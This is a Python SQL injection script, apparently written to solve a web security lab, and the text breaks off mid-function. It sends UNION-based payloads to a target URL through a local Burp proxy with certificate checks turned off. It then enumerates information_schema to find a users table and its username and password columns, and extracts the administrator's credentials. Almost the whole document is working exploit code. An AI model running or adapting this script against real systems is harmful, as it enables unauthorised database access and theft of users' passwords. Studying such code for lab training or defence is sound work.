import requests import sys import urllib3 from bs4 import BeautifulSoup, Tag, NavigableString import re from typing import Optional, Tuple # Disable SSL warnings for unverified requests urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Proxy settings for debugging (e.g., Burp Suite) proxies: dict[str, str] = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", } def perform_request(url: str, path: str, sql_payload: str) -> str: """ Sends an HTTP GET request with the given SQL injection payload. :param url: Target base URL :param path: Target path where SQL injection will be attempted :param sql_payload: SQL payload to be appended to the request :return: Response text from the server """ try: response: requests.Response = requests.get( f"{url}{path}{sql_payload}", verify=False, proxies=proxies ) response.raise_for_status() # Raise an error for bad HTTP responses return response.text except requests.RequestException as e: print(f"[-] Request failed: {e}") sys.exit(-1) def extract_text(element: Optional[Tag | NavigableString]) -> Optional[str]: """ Safely extracts text from a BeautifulSoup element, handling different return types. :param element: The BeautifulSoup element (Tag, NavigableString, or None) :return: Extracted text or None """ if isinstance(element, (Tag, NavigableString)): return element.get_text(strip=True) return None def sqli_users_table(url: str, path: str) -> Optional[str]: """ Attempts to retrieve the users table name via SQL injection. :param url: Target base URL :param path: Target path where SQL injection will be attempted :return: Extracted users table name or None """ sql_payload: str = ( "' UNION SELECT table_name, NULL FROM information_schema.tables--" ) res: str = perform_request(url, path, sql_payload) soup: BeautifulSoup = BeautifulSoup(res, "html.parser") # Look for table names that include "users" users_table_element = soup.find(string=re.compile(r".*users.*", re.IGNORECASE)) return extract_text(users_table_element) def sqli_users_columns( url: str, path: str, users_table: str ) -> Tuple[Optional[str], Optional[str]]: """ Attempts to extract username and password column names from the users table. :param url: Target base URL :param path: Target path where SQL injection will be attempted :param users_table: Name of the users table :return: Tuple containing (username_column, password_column) or (None, None) """ sql_payload: str = f"' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = '{users_table}'--" res: str = perform_request(url, path, sql_payload) soup: BeautifulSoup = BeautifulSoup(res, "html.parser") # Extract username and password column names username_element = soup.find(string=re.compile(r".*username.*", re.IGNORECASE)) password_element = soup.find(string=re.compile(r".*password.*", re.IGNORECASE)) return extract_text(username_element), extract_text(password_element) def sqli_administrator_cred( url: str, path: str, users_table: str, username_column: str, password_column: str ) -> Optional[str]: """ Extracts the administrator's password using SQL injection. :param url: Target base URL :param path: Target path where SQL injection will be attempted :param users_table: Name of the users table :param username_column: Column name containing usernames :param password_column: Column name containing passwords :return: Administrator password if found, else None """ sql_payload: str = ( f"' UNION SELECT {username_column}, {password_column} FROM {users_table}--" ) res: str = perform_request(url, path, sql_payload) soup: BeautifulSoup = BeautifulSoup(res, "html.parser") # Look for the administrator's username in a